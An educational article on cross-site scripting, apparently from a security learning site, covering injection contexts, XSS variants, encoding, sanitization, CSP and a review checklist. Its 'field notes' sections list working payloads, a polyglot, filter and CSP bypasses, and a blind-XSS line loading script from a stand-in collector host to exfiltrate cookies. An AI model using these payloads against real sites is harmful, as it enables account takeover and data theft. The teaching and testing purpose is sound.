~/learn / web-vulnerabilities / xss
Cross-Site Scripting (XSS)
How untrusted data becomes running JavaScript in another user's browser, the parsing contexts that decide whether it executes, the stored, reflected, and DOM variants, and why contextual encoding plus a strict CSP are the real fix.
Cross-site scripting happens when an application puts untrusted data into a page in a place where the browser will interpret it as code rather than content. The injected script runs with the full authority of the vulnerable origin inside the victim’s browser. It can read the DOM, steal any token reachable from JavaScript, make authenticated requests as the user, rewrite the page, log keystrokes, and pivot to other same-origin pages. In practice XSS is a full account takeover primitive, not a popup nuisance.
The real mental model: contexts
The single idea that makes XSS click is that a browser parses different parts of a page with different grammars, and the same characters mean different things in each. A string is safe in one context and executes in another. “Where does my data land” matters more than “what characters does it contain.”
- HTML body context:
<div>HERE</div>. The dangerous character is<, because it starts a new tag. Inject<script>...</script>or, more reliably, an element with an event handler such as an image that fails to load. - HTML attribute context:
<input value="HERE">. The dangerous character is the quote that ends the attribute. Break out with", then addonfocus=...or similar. An unquoted attribute is even worse, because a space is enough to start a new attribute. - JavaScript context:
<script>var name = "HERE";</script>. You are already inside code. A</script>sequence or a closing quote plus a semicolon lets you write statements directly. HTML-encoding does nothing useful here. - URL context:
<a href="HERE">. A value ofjavascript:alert(1)runs on click. This is why schemes must be allowlisted tohttp,https, andmailto. - CSS context and others: older browsers executed script from style contexts, and
styleattributes can still exfiltrate data through background image requests.
Encoding is correct only when it matches the context. HTML-encoding " to " saves an attribute context but is useless inside a <script> block. This is why a single global “sanitize” function applied everywhere is a myth. The fix is encoding chosen per sink.
Three variants, by where the data is injected
- Stored (persistent): the payload is saved server-side (a comment, a display name, a support ticket) and served to everyone who views it later. Highest impact, because it needs no interaction and can hit an admin viewing the record. The Samy worm on MySpace in 2005 used stored XSS in a profile to add over a million friends in under a day, a textbook demonstration of why stored XSS is wormable.
- Reflected: the payload is in the request (a query parameter, a path) and echoed straight back in that response. It requires luring the victim to a crafted link, so it pairs with phishing.
- DOM-based: the server is never involved. Client-side JavaScript reads from a source the attacker controls (
location.hash,location.search,document.referrer,postMessagedata,localStorage) and writes it to a dangerous sink (innerHTML,document.write,eval,insertAdjacentHTML, a framework’s raw-HTML prop) without encoding. Because it lives entirely in the browser, server-side output encoding does not touch it, and the payload after a#never even reaches the server logs.
// DOM XSS: hash is attacker-controlled, innerHTML is a code sink
const term = decodeURIComponent(location.hash.slice(1));
document.querySelector("#results").innerHTML = "You searched for " + term;
// visit page#<img src=x onerror=alert(document.cookie)> and it runs
Why the obvious fixes miss
- Blocklisting
<script>fails because script is the least interesting vector.<img src=x onerror=...>,<svg onload=...>,<body onpopstate=...>, and dozens of other elements run code with no<script>tag at all. - Stripping tags with a regex fails because HTML is not a regular language. Browsers recover from malformed markup in generous, quirky ways, and parsers disagree. The mutation-XSS class exists precisely because what your sanitizer sees and what the browser finally renders are different trees.
- Encoding once, globally fails because the right encoding depends on the sink, as above.
The fix: safe sinks, contextual encoding, and a framework that does it for you
Modern frameworks make the safe path the default, and the vulnerabilities cluster around the places you leave it.
- Prefer text sinks.
element.textContent = valuecan never create an element.innerHTMLcan. Reach forinnerHTMLonly with sanitized input. - Let the template engine encode. React’s
{value}, Rails ERB<%= value %>, and Jinja autoescaping all HTML-encode by default and pick a reasonable context. The bugs appear at the opt-outs: React’sdangerouslySetInnerHTML, Railsrawandhtml_safe, Jinja| safe. Audit those. - Sanitize HTML you must render with a vetted library (DOMPurify in the browser) rather than your own regex. It parses with the same rules the browser uses and removes dangerous nodes and attributes.
- Allowlist URL schemes before putting user input in
hreforsrc.
// React: safe by default, the data is encoded for the HTML context
function Comment({ body }) {
return <p>{body}</p>;
}
// The escape hatch is where XSS lives. If you must, sanitize first.
import DOMPurify from "dompurify";
function RichComment({ html }) {
return <p dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}
The backstop: Content-Security-Policy
Even a perfect codebase gets one sink wrong eventually. A strict CSP turns that bug from account takeover into a blocked console error. The strongest practical policy is nonce-based: the server emits a fresh random nonce per response, puts it on every legitimate <script>, and sets script-src 'nonce-...' 'strict-dynamic'. An injected script has no valid nonce, so the browser refuses to run it, and 'strict-dynamic' lets your trusted scripts load their own dependencies without you maintaining a host allowlist.
Content-Security-Policy: script-src 'nonce-rAnd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Avoid 'unsafe-inline', which defeats the entire point, and avoid host allowlists, which fall to a single open JSONP endpoint or CDN-hosted gadget. Paste a policy into the CSP analyzer to see what it actually permits, because most real policies are weaker than their authors believe. Also set HttpOnly on session cookies so that even a successful injection cannot read them from JavaScript, and SameSite to blunt the requests it can forge.
Field notes: breaking out of the context
You never spray <script>alert(1)</script> first. You inject a harmless marker like zqxj'"></, find it in the response, and read exactly what surrounds it, because that decides the escape. Reflected inside an attribute? You need to close the attribute and tag first. Inside a <script> block? You are already in JS, so no tag is needed at all.
| Where your marker lands | Payload that executes |
|---|---|
| HTML body text | <svg onload=alert(1)> or <img src=x onerror=alert(1)> |
Inside <input value="HERE"> |
"><svg onload=alert(1)> |
| Inside a single-quoted attribute | ' autofocus onfocus=alert(1) x=' |
Inside <script>var x="HERE"</script> |
";alert(1)// |
Inside a URL (href, src) |
javascript:alert(1) |
| Inside an event handler already | alert(1) (you are in JS) |
A polyglot saves round trips by surviving several contexts at once. The classic one works in attribute, script, and body contexts in a single string:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Field notes: filter evasion and mutation XSS
When a filter strips <script> or on* handlers, you reach for the shapes it did not anticipate:
- Case and whitespace:
<ScRiPt>,<svg/onload=alert(1)>, newline inside the handler<img src=x onerror=\nalert(1)>. - No parentheses:
<svg onload=alert1>with backticks, oronerror=throw/**/alert,1style tricks when()is blocked. - Mutation XSS (mXSS): inject markup that is inert as the sanitizer sees it but becomes live after the browser re-parses it.
<noscript><p title="</noscript><img src=x onerror=alert(1)>">and<svg></p>-style namespace confusion have repeatedly broken DOMPurify. Any sanitize-then-set-innerHTML path is a candidate because the serialize/reparse step mutates the tree. - HTML entities and encoding where a later layer decodes them, so the filter sees
<but the DOM gets<.
Field notes: CSP is not a wall
A Content-Security-Policy stops the easy cases and rarely the determined ones. Before giving up on a page with CSP, check:
unsafe-inlineor nononcemeans inline handlers still fire, so CSP did nothing.- Whitelisted CDNs that host JSONP (old Google APIs, many analytics hosts) let you load
trusted.cdn/jsonp?callback=alert(1)as “trusted” script. Whitelist-based CSP is broken by a single JSONP endpoint. 'strict-dynamic'with a leaked or guessable nonce, or a nonce reused across responses (predictable).- Base-tag injection (
<base href>) to hijack relative script sources whenbase-uriis unset. - Dangling-markup and CSS exfil to steal data even when script is fully blocked.
Field notes: blind XSS and exfil
Stored XSS often fires somewhere you cannot see: an admin panel, a support-ticket viewer, a log dashboard. You plant a payload that calls home so you learn when and where it ran:
"><script src=https://xss.collab.test/c></script>
Tools like XSS Hunter or a Burp Collaborator pingback capture the victim’s URL, cookies, DOM, and screenshot when the payload executes in staff context. Real exfil (lab and authorized only) uses fetch/navigator.sendBeacon to ship document.cookie, localStorage tokens, or a CSRF token out to your collector, or performs an authenticated action directly from the victim’s session, which is far more impactful than popping an alert. Dalfox automates context detection and payload selection against a captured request. As always, prove it in a lab or an in-scope target, never in the wild.
Code review checklist
- Grep for
innerHTML,outerHTML,insertAdjacentHTML,document.write,eval,new Function,setTimeout("..."),dangerouslySetInnerHTML,html_safe,raw, and| safe. - For each hit, trace the value back to its source. If any source is user-influenced, confirm the data is encoded for that exact sink or sanitized.
- Check
hrefandsrcassignments for scheme allowlisting. - Check
postMessagehandlers, which trust data from other windows unless they verifyevent.origin. - Confirm a CSP exists, has no
'unsafe-inline'inscript-src, and setsobject-src 'none'andbase-uri 'none'.
Practice on PortSwigger’s XSS labs, which are organized by exactly these contexts and sinks, so you build the “where does it land” instinct against a target that is legal to break.